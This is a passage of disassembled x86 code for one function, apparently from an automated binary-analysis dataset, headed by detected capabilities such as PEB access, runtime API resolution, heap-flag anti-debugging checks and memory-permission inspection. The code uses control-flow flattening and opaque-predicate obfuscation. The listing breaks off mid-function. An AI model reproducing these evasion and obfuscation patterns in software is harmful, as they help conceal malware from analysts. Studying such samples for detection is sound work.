Function at 0x4028b0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using murmur3
Inspect section memory permissions
Link function at runtime on windows
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b8
mov eax, dword [0x491040]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xdf6724c
mov esi, edx
and esi, 0xf2098db2
and edx, 0x42b977de
or ecx, esi
mov esi, ecx
xor esi, 0x9a0620c
xor ecx, 0xf2098db3
mov edi, ecx
and edi, 0xd4569953
and esi, 0x2ba966ac
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xbd468821
mov ebx, edi
not ebx
and edi, 0x2ba966ac
or eax, edx
or ecx, ebx
and ebx, 0xd4569953
mov edx, eax
xor edx, 0xbd468821
xor eax, 0x42b977de
or edi, ebx
not ecx
xor edi, esi
mov esi, dword [0x492380]
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
mov eax, 0x283c1f30
sete byte [ebp - 0x71]
cmp esi, 0xa
setl byte [ebp - 0x72]
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x8fe686ea
and eax, 0x70197915
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x32a4b479
mov esi, edx
and esi, 0xcd5b4b86
or ecx, esi
mov esi, eax
xor esi, 0x30003011
xor eax, 0x8d420282
and eax, 0xcd5b4b86
and esi, 0x32a4b479
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x18a4b8a1
setne dl
sete ch
cmp dword [0x492380], 0xa
setge dh
setl cl
mov ah, dh
mov al, cl
xor cl, dl
xor ah, ch
and al, dl
and ch, dh
and ah, dh
or al, ch
xor ah, 1
xor al, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7d2e71a9
cmovne ecx, esi
test al, 1
mov eax, 0x7d2e71a9
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop dword [eax]
cmp eax, 0xfd85c550
jg 0x402c50
cmp eax, 0xc186cc27
jg 0x402cd0
cmp eax, 0xa1f8bbef
jle 0x402f9a
cmp eax, 0xb2b367f0
jg 0x403353
cmp eax, 0xab19b026
jle 0x403b75
cmp eax, 0xad27e867
jle 0x404c33
cmp eax, 0xb0f15359
jle 0x405e37
cmp eax, 0xb18481ca
jg 0x40890b
cmp eax, 0xb0f1535a
je 0x409133
cmp eax, 0xb1051eef
jne 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x100], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x66efc005
and eax, 0x99103ffa
or ecx, eax
mov eax, ecx
xor eax, 0x20814000
xor ecx, 0x901014a8
and ecx, 0xd67e94ad
and eax, 0x29816b52
or eax, ecx
mov edx, eax
xor edx, 0xd67e94ad
xor eax, 0x29816b52
mov ecx, edx
mov esi, eax
and esi, 0xf7876cd3
and ecx, 0x878932c
and edx, 0x2345062b
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xf7876cd2
and esi, 0x878932d
or ecx, esi
mov esi, eax
and esi, 0xdcbaf9d4
and eax, 1
or esi, edx
xor esi, 0x2345062a
or eax, esi
mov edx, eax
not edx
and eax, 0x52955b6e
and edx, 0xad6aa491
or eax, edx
mov edx, ecx
not edx
and ecx, 0x3786b550
mov esi, edx
and esi, 0xc8794aaf
or ecx, esi
mov esi, eax
xor esi, 0x12841140
xor eax, 0xad6aa491
or edx, eax
and eax, 0xc8794aaf
and esi, 0x3786b550
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov ecx, edx
xor ecx, 0x18e3cf16
mov eax, edx
and eax, 0xcdff281c
and ecx, edx
not edx
and edx, 0x3200d7e3
or eax, edx
mov edx, eax
xor eax, 0x1000c702
xor edx, 0xa10000
or eax, 0xe71c30e9
and edx, 0x10a1c302
mov esi, eax
and esi, 0xf461c5d
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf0b9e3a2
or eax, esi
and esi, 0xf461c5d
or ecx, esi
not eax
mov esi, 0xffb07490
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf0edd28d
and ecx, 0xf122d72
or eax, ecx
mov ecx, eax
xor ecx, 0xa808008b
xor eax, 0x17f1e264
mov edx, eax
and edx, 0x45f73f34
and ecx, 0xba08c0cb
or ecx, edx
xor ecx, 0xba08c0cb
or ecx, eax
xor ecx, 0xffffffff
sete al
setne dl
cmp dword [0x492380], 0xa
setl ah
setge cl
and al, cl
and ah, dl
or cl, dl
or al, ah
mov edx, ecx
mov ah, al
not dl
and al, cl
xor ah, 1
or cl, ah
and ah, dl
or ah, al
mov dl, ah
xor dl, cl
test ah, ah
mov eax, 0xef88123e
cmovne eax, esi
test cl, cl
mov ecx, 0xef88123e
jmp 0x40fb36
cmp eax, 0x3e5ff85a
jg 0x402e60
cmp eax, 0x164e26ca
jle 0x403029
cmp eax, 0x2d6f64e5
jg 0x403533
cmp eax, 0x20c3addc
jle 0x403d3a
cmp eax, 0x26d3c7c7
jle 0x404d12
cmp eax, 0x2a19143d
jle 0x405e6d
cmp eax, 0x2cdfe407
jg 0x40892b
cmp eax, 0x2a19143e
je 0x40929e
cmp eax, 0x2c9247dc
jne 0x402a30
cmp byte [ebp - 0x7a], 0
mov eax, 0x452192eb
mov ecx, 0x8f517566
cmovne eax, ecx
jmp 0x402a30
cmp eax, 0xe24018f0
jle 0x403192
cmp eax, 0xef88123d
jg 0x4036a6
cmp eax, 0xe77ec574
jle 0x403e2d
cmp eax, 0xea6ede2a
jle 0x404ddf
cmp eax, 0xebf5ab8c
jle 0x405ea8
cmp eax, 0xec2ad680
jg 0x40896b
cmp eax, 0xebf5ab8d
je 0x4092ab
cmp eax, 0xec1542a5
jne 0x402a30
mov eax, dword [ebp - 0x94]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x24890508
mov edx, eax
and edx, 0xd3168200
mov edi, eax
or edi, 0xc60b8208
and eax, 0x3eb45ca9
or esi, edx
and edi, 0xc60beadb
mov edx, esi
xor edx, 0x20800500
xor esi, 0xc202ead3
and esi, 0xc60beadb
and edx, 0x31940500
or edx, esi
mov esi, ecx
and esi, 0x8601024
or esi, edi
xor esi, edx
mov edx, esi
not edx
and esi, 0xfabbd961
and edx, 0x544269e
or esi, edx
mov edx, esi
xor edx, 0x9240240
xor esi, 0xe2482113
and esi, 0xe6487d3b
and edx, 0x19b782c4
or edx, esi
mov esi, edx
xor esi, 0x18b40080
xor edx, 0xe6487d3b
mov edi, edx
or edx, ecx
and ecx, 0xc14ba356
and edi, 0xc14ba356
and esi, 0x3eb45ca9
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x57b99610
or edx, eax
xor edx, 0xffffffff
sete dl
setne al
cmp dword [0x492380], 0xa
setge cl
mov ah, cl
xor ah, al
or al, cl
or cl, dl
and ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6fcfa415
cmovne eax, esi
test dl, 1
mov edx, 0x6fcfa415
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
cmp eax, 0x5b90c45e
jle 0x4032f3
cmp eax, 0x6decdc91
jg 0x4037ad
cmp eax, 0x661bba63
jle 0x403e6e
cmp eax, 0x6a657e53
jle 0x404e30
cmp eax, 0x6cf000a6
jle 0x405ede
cmp eax, 0x6d0c2dac
jg 0x408efe
cmp eax, 0x6cf000a7
je 0x4092b5
cmp eax, 0x6d0a9fa8
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xaa8c938c
and ecx, 0x725efb66
mov esi, eax
and esi, 0x55736c73
and eax, 0x8da10499
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x55736c72
and esi, 0xaa8c938d
or edx, esi
mov esi, edx
not esi
and edx, 0x8da10499
mov edi, esi
and edi, 0x725efb66
or edx, edi
xor eax, edx
not eax
or eax, esi
xor eax, 0xffffffff
setne dl
sete cl
cmp dword [0x492380], 0xa
mov ch, dl
setl ah
setge al
mov dh, ah
or dl, ah
and ch, al
and dh, cl
xor cl, ah
and cl, ah
or dh, ch
xor cl, 1
xor al, dh
mov ah, cl
or cl, dl
and al, dh
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and cl, al
xor al, 1
and ah, al
or dl, al
or cl, ah
mov ch, dl
mov eax, 0x5cc18441
xor ch, cl
test dl, 1
mov edx, 0x1e12dcc3
cmovne eax, edx
test cl, 1
not ch
cmove eax, edx
test ch, 1
mov edx, 0x5cc18441
cmovne eax, edx
jmp 0x402a30
cmp eax, 0x91ffce93
jle 0x4037f9
cmp eax, 0x9b28a049
jle 0x403eb8
cmp eax, 0x9c076b06
jle 0x404ed7
cmp eax, 0x9e2d785b
jle 0x405fdb
cmp eax, 0x9ffe421f
jg 0x408f2d
cmp eax, 0x9e2d785c
je 0x4092ca
cmp eax, 0x9fc49ec3
jne 0x402a30
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xbc]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0x9cb549b6
jmp 0x402a30
cmp eax, 0x70ade4c
jle 0x403995
cmp eax, 0xfa58b7b
jle 0x404056
cmp eax, 0x128c81f6
jle 0x404fb2
cmp eax, 0x142a2a93
jle 0x406006
cmp eax, 0x15d82c29
jg 0x408f4d
cmp eax, 0x142a2a94
je 0x4094a0
cmp eax, 0x14672a43
jne 0x402a30
mov eax, dword [ebp - 0x1a4]
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2000e
and eax, 0xc2049c0
mov edx, ecx
or edx, 0x3508430
and esi, 0x352843e
and ecx, 0xf08d3201
and edx, 0x352843e
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xf3ddb631
and ecx, 0xc2249ce
or eax, ecx
mov edx, eax
xor edx, 0x2f0c75d3
mov ecx, eax
and ecx, 0xb6cba3c8
and edx, eax
not eax
and eax, 0x49345c37
or ecx, eax
mov eax, ecx
mov esi, ecx
xor ecx, 0x300c23
xor eax, 0xb6cba3c8
xor esi, 0x663829e4
mov edi, eax
and esi, eax
and ecx, 0x80f00ea3
and edi, 0x7f0ff15c
and eax, 0x40000000
or edx, esi
or edi, ecx
mov esi, edx
not esi
xor edi, 0xc0f00ea3
and edx, 0x6f0c75d3
or eax, edi
and esi, 0x90f38a2c
or edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x72db3b6
and ecx, 0xf8d24c49
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x37a602e
and ecx, 0xfc859fd1
or eax, ecx
mov ecx, eax
xor ecx, 0x1a082c66
xor eax, 0x505198
and eax, 0xe1f05199
and ecx, 0x1e0fae66
or ecx, eax
mov eax, ecx
xor eax, 0x1a088262
xor ecx, 0xa0401089
and ecx, 0xa4473c8d
and eax, 0x5bb8c372
or eax, ecx
mov ecx, 0xb73a4cfd
cmp eax, 0x5bb8c372
mov eax, 0x8405a629
cmove eax, ecx
jmp 0x402a30
cmp eax, 0xcf408e0e
jle 0x403ad1
cmp eax, 0xd7fe7667
jle 0x4041a4
cmp eax, 0xdbd8e6e8
jle 0x404fe8
cmp eax, 0xdfcf8ce8
jle 0x406132
cmp eax, 0xe1572fe4
jg 0x408f6d
cmp eax, 0xdfcf8ce9
je 0x4094b5
cmp eax, 0xe08394ec
jne 0x402a30
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x128]
mov edi, 0xe24018f1
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xc4028d44
mov ecx, edx
and ecx, 0x28002009
and edx, 0x4d4befd1
or esi, ecx
mov ecx, eax
and ecx, 0x13fd52b2
and eax, 0xb2b4102e
xor esi, 0xc4028d44
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x1403b3e1
and esi, 0xebfc4c1e
or ecx, esi
mov esi, ecx
xor esi, 0x78001688
xor ecx, 0x7fee152
mov edx, ecx
and edx, 0x879de937
and esi, 0x786216c8
or esi, edx
mov edx, eax
xor edx, 0x30201008
xor eax, 0x509e911
and eax, 0x879de937
and edx, 0x786216c8
or edx, eax
xor edx, esi
mov esi, 0x96c599a
not edx
or edx, ecx
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
or al, dl
and cl, ch
mov edx, eax
xor dl, 1
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test cl, cl
cmovne edi, esi
test al, al
not dl
mov eax, 0xe24018f1
cmove edi, esi
test dl, 1
cmovne edi, eax
mov eax, edi
jmp 0x402a30
cmp eax, 0x4763a53a
jle 0x403b29
cmp eax, 0x515982a7
jle 0x4041e5
cmp eax, 0x546eac52
jle 0x405024
cmp eax, 0x56be0cac
jle 0x406311
cmp eax, 0x57b9960f
jg 0x408f90
cmp eax, 0x56be0cad
je 0x40957d
cmp eax, 0x57014312
jne 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10
mov eax, 0xba369ca6
jmp 0x402a30
cmp eax, 0xb73a4cfc
jle 0x404245
cmp eax, 0xba369ca5
jle 0x40511c
cmp eax, 0xbf7810cf
jle 0x40635a
cmp eax, 0xc0aac0f3
jg 0x408fb0
cmp eax, 0xbf7810d0
je 0x40958a
cmp eax, 0xc0871e8b
jne 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xfed78cc8
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x1287337
and eax, 0xfed78cc8
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf085c0ef
and eax, 0x8b140d01
mov esi, edx
and esi, 0xf7a3f10
or edx, 0x10020018
or ecx, esi
and edx, 0x502a82ba
mov edi, ecx
xor edi, 0x20010
mov esi, ecx
xor esi, 0x20814044
or eax, edx
mov edx, ecx
xor edx, 0x3001c0e0
xor ecx, 0x7483400
or edi, 0x402882a2
and esi, 0x24c17044
or edx, 1
and ecx, 0xc7cc340e
and edi, 0x502a82ba
and edx, 0x3833cbf1
or esi, edi
or edx, ecx
xor eax, esi
xor edx, 0x3833cbf1
mov esi, eax
not esi
and eax, 0x34c3705d
and esi, 0xcb3c8fa2
or eax, esi
or edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x5b294954
and edx, 0xa4d6b6ab
or eax, edx
mov edx, eax
xor edx, 0x19284044
xor eax, 0xa4d6b6ab
mov esi, eax
and esi, 0xc2138f1b
and edx, 0x3dec70e4
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3dec70e4
or eax, esi
and esi, 0xc2138f1b
or ecx, esi
not eax
mov esi, 0xc983cdd0
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7d9fe2a
mov edx, ecx
and edx, 0xf82601d5
or eax, edx
xor eax, 0x7d9fe2a
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
mov dh, dl
setge cl
setl ch
or dh, ch
and dl, ch
mov ch, cl
mov al, cl
xor ch, ah
or al, ah
mov bl, dh
and ch, cl
and cl, ah
xor bl, al
or al, dh
or cl, dl
xor ch, 1
xor al, 1
xor cl, 1
mov dl, ch
or al, bl
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0xddec7afc
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xddec7afc
jmp 0x409496
cmp eax, 0x374a3425
jle 0x40435f
cmp eax, 0x3ab4e7db
jle 0x405389
cmp eax, 0x3d2af6fd
jle 0x406385
cmp eax, 0x3e3005fe
jg 0x408fdb
cmp eax, 0x3d2af6fe
je 0x40964f
cmp eax, 0x3e0d7342
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x96e92818
and ecx, 0x6916d7e7
or eax, ecx
mov edx, eax
xor edx, 0x2800018
xor eax, 0x281207c0
and eax, 0xbc7b2fc0
and edx, 0x4384d03f
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0xbc7b2fc0
xor eax, 0x4384d03f
xor edx, 0x71664c3d
mov ecx, esi
and edx, eax
and ecx, 0x32e29c02
and esi, 0x903f9884
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xcd1d63fc
and edx, 0x32e29c03
or ecx, edx
mov edx, eax
and edx, 0x6fc0677b
and eax, 1
or edx, esi
mov esi, edx
xor esi, 0x903f9885
xor edx, 0x880023a
or eax, esi
mov esi, ecx
not esi
and ecx, 0x98b70a3e
and edx, 0x98b70a3e
mov edi, esi
or esi, eax
and edi, 0x6748f5c1
and eax, 0x6748f5c1
or ecx, edi
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
and esi, 0xba688f50
and eax, 0x459770af
or eax, esi
mov esi, 0xc89ecceb
mov ecx, eax
xor ecx, 0x38080910
xor eax, 0x41851024
and ecx, 0x3c1a699b
and eax, 0xc3e59664
or eax, ecx
xor eax, 0xc3e59664
setne cl
sete al
cmp dword [0x492380], 0xa
mov ch, cl
setl dl
setge ah
and dl, cl
and al, ah
or ch, ah
mov cl, ch
or al, dl
mov dl, ch
and dl, al
xor cl, 1
xor al, 1
and cl, al
or al, ch
or cl, dl
mov edx, eax
xor dl, cl
mov edx, 0x8c4631a4
cmovne edx, esi
test al, al
mov eax, 0x8c4631a4
jmp 0x410698
cmp eax, 0xf7fd1101
jle 0x404475
cmp eax, 0xfaac7a88
jle 0x4053c8
cmp eax, 0xfb482a7f
jle 0x4064d2
cmp eax, 0xfc8e6141
jg 0x408ffe
cmp eax, 0xfb482a80
je 0x409666
cmp eax, 0xfbdc3097
jne 0x402a30
mov eax, dword [ebp - 0x44]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xb975bc87
and ecx, 0x82e980b8
mov esi, eax
and esi, 0x468a4378
and eax, 0x7d167f47
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x30516eeb
and esi, 0xcfae9114
or edx, esi
mov esi, edx
xor esi, 0x74122d02
xor edx, 0x8924d26d
mov edi, edx
and edi, 0x82e980b8
and esi, 0x7d167f47
or esi, edi
xor eax, esi
mov esi, 0x3f68b94f
xor edx, eax
test edx, eax
setne cl
sete ah
cmp dword [0x492380], 0xa
mov edx, ecx
setl ch
setge al
and dl, al
and ch, ah
xor cl, al
or ch, dl
and cl, ah
mov dl, ch
xor dl, al
or al, ah
xor al, 1
and dl, ch
or al, cl
xor dl, 1
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0xf70ee2e4
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, 1
mov ecx, 0xf70ee2e4
cmove eax, ecx
jmp 0x402a30
cmp eax, 0x77648c77
jle 0x404595
cmp eax, 0x7d9fc487
jle 0x4054d5
cmp eax, 0x7e794787
jle 0x406506
cmp eax, 0x7f7283c7
jg 0x40902c
cmp eax, 0x7e794788
je 0x409673
cmp eax, 0x7eae62f4
jne 0x402a30
mov eax, 0x8f517566
jmp 0x402a30
cmp eax, 0x89bacab9
jg 0x4045d6
cmp eax, 0x849ca104
jg 0x40551a
cmp eax, 0x82be4b36
jg 0x406657
cmp eax, 0x8048e9c7
je 0x409686
cmp eax, 0x812744a9
je 0x409780
cmp eax, 0x825642de
jne 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xa808a017
and edx, 0x59744e8
and eax, 0x52601b00
or ecx, eax
xor ecx, 0xa808a017
or edx, ecx
mov eax, edx
not eax
and edx, 0x8a76e5f5
and eax, 0x75891a0a
or edx, eax
mov esi, edx
mov ecx, edx
xor ecx, 0x8fe1a11d
xor edx, 0x89d990f1
xor esi, 0x701e5ee2
and edx, ecx
mov ebx, esi
and ebx, 0x3800e8
and esi, 0x2c662561
mov eax, edx
not eax
and edx, 0x507e82f8
mov edi, eax
and edi, 0xaf817d07
or edx, edi
mov edi, ecx
or edi, 0xf9c7ce13
or eax, edi
and edi, 0xaf817d07
or ebx, edi
not eax
xor ebx, edx
or eax, ebx
mov edx, eax
not edx
and eax, 0x15dd74a8
and edx, 0xea228b57
or eax, edx
mov edx, ecx
and edx, 0xd399da9e
and ecx, 1
or edx, esi
mov edi, eax
xor edi, 0x8c088032
xor eax, 0x13e54545
mov esi, edx
xor esi, 0x2c662560
xor edx, 0x9009c016
and edi, 0x9c2dc576
or ecx, esi
mov esi, eax
and esi, 0x63d23a89
and edx, 0x9c2dc576
or eax, ecx
and ecx, 0x63d23a89
or edi, esi
mov esi, 0xe836ea1a
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8fd62388
andn eax, eax, eax
and edx, 0x7029dc77
or ecx, edx
xor ecx, 0x8fd62388
or eax, ecx
sete cl
cmp dword [0x492380], 0xa
mov ah, cl
setge al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
and ah, dl
not dl
and dl, cl
mov cl, ah
or al, dl
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x60c78b7d
cmovne edx, esi
test al, 1
mov eax, 0x60c78b7d
jmp 0x410698
cmp eax, 0x2bdc3d5
jg 0x4046d9
cmp eax, 0xffb0748f
jg 0x40555b
cmp eax, 0xfed02086
jg 0x4067cf
cmp eax, 0xfd85c551
je 0x409794
cmp eax, 0xfdf8ee63
je 0x40990c
cmp eax, 0xfe65aa6d
jne 0x402a30
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe13c724e
mov edx, ecx
and edx, 0x1ec38db0
and ecx, 0xbd9aaf7a
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
xor esi, 0xe13c724e
and eax, 0x42655085
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x59accb8f
xor eax, 0x42655085
and esi, 0xa6533470
or edx, esi
mov esi, 0x849ca105
xor edx, 0x59accb8f
or eax, edx
mov ecx, eax
not ecx
and eax, 0x620aeabf
and ecx, 0x9df51540
or eax, ecx
xor eax, 0x620aeabf
sete dl
setne ch
cmp dword [0x492380], 0xa
mov ah, dl
setl cl
setge al
xor ah, cl
xor ch, al
or al, dl
or cl, dl
and ah, dl
xor al, 1
xor cl, 1
or al, ah
or cl, ch
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
or dl, ch
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
or al, cl
and dl, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7467e8b9
cmovne eax, esi
test dl, 1
mov edx, 0x7467e8b9
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
cmp eax, 0xc93b5a2a
jg 0x4048fa
cmp eax, 0xc47bc2cc
jg 0x405591
cmp eax, 0xc3074491
jg 0x4067fa
cmp eax, 0xc186cc28
je 0x409922
cmp eax, 0xc1e39619
je 0x40992f
cmp eax, 0xc26e6ddf
jne 0x402a30
cmp byte [ebp - 0x7d], 0
mov eax, 0x94835da7
mov ecx, 0x7e53584e
cmovne eax, ecx
jmp 0x402a30
cmp eax, 0x43821fc2
jg 0x404ac7
cmp eax, 0x422f34b8
jg 0x4055c7
cmp eax, 0x40455da7
jg 0x406976
cmp eax, 0x3e5ff85b
je 0x409939
cmp eax, 0x3f68b94f
je 0x409943
cmp eax, 0x401c6283
jne 0x402a30
mov eax, 0x4578839c
jmp 0x402a30
cmp eax, 0xa6fe583a
jg 0x40560c
cmp eax, 0xa496903f
jg 0x406aa6
cmp eax, 0xa1f8bbf0
je 0x40994d
cmp eax, 0xa215af1f
je 0x409ac3
cmp eax, 0xa21e5d78
jne 0x402a30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x124]
mov edi, 0xa8083f76
mov dword [eax], ecx
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xb2e2108b
mov esi, eax
or esi, 0x51cc624
and ecx, eax
and esi, 0x159cd6a7
and edx, 0xa2620008
or edx, esi
mov esi, ecx
not esi
and ecx, 0xea632958
or eax, esi
and esi, 0x159cd6a7
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x4d1def74
and eax, 0xb2e2108b
or eax, ecx
mov edx, eax
xor edx, 0x5d788b42
mov ecx, eax
and ecx, 0x8623212f
and edx, eax
not eax
and eax, 0x79dcded0
or ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x8623212f
xor ecx, 0x24a45592
xor eax, 0x79dcded0
and ecx, esi
and eax, 0xfffffffe
mov esi, 0xc0d1317f
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x47e56b0c
and ecx, 0xb81a94f3
or edx, ecx
xor edx, 0x1a9de04f
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9ec006b4
and ecx, 0x613ff94b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb1c98641
and ecx, 0x4e3679be
or eax, ecx
mov ecx, eax
xor ecx, 0x10747408
xor eax, 0xf0980e1
and ecx, 0x3074741c
and eax, 0xcf8b8be3
or eax, ecx
cmp eax, 0xcf8b8be3
sete dl
cmp dword [0x492380], 0xa
setge ch
setl cl
mov al, ch
mov ah, ch
xor cl, dl
xor ah, dl
and al, dl
or dl, ch
xor dl, 1
and ah, ch
or al, dl
mov dl, ah
xor ah, cl
xor cl, 1
xor dl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0xa8083f76
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402a30
cmp eax, 0x1a542ceb
jg 0x405642
cmp eax, 0x18962c58
jg 0x406add
cmp eax, 0x164e26cb
je 0x409b9e
cmp eax, 0x171e645f
je 0x409cdd
cmp eax, 0x171e7a45
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x54396f51
and ecx, 0x952933c4
mov esi, eax
and esi, 0xabc690ae
and eax, 0x6ad6cc3b
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xe25a0398
and esi, 0x1da5fc67
or edx, esi
mov esi, edx
xor esi, 0x48948033
xor edx, 0xb6636cc8
mov edi, edx
and edi, 0x952933c4
and esi, 0x6ad6cc3b
or esi, edi
xor eax, esi
mov esi, 0xe24f73d1
xor edx, eax
test edx, eax
sete dl
cmp dword [0x492380], 0xa
setl ah
mov al, ah
mov cl, ah
or al, dl
xor cl, dl
xor al, 1
and dl, cl
or al, cl
and cl, ah
mov ah, dl
xor dl, cl
xor ah, 1
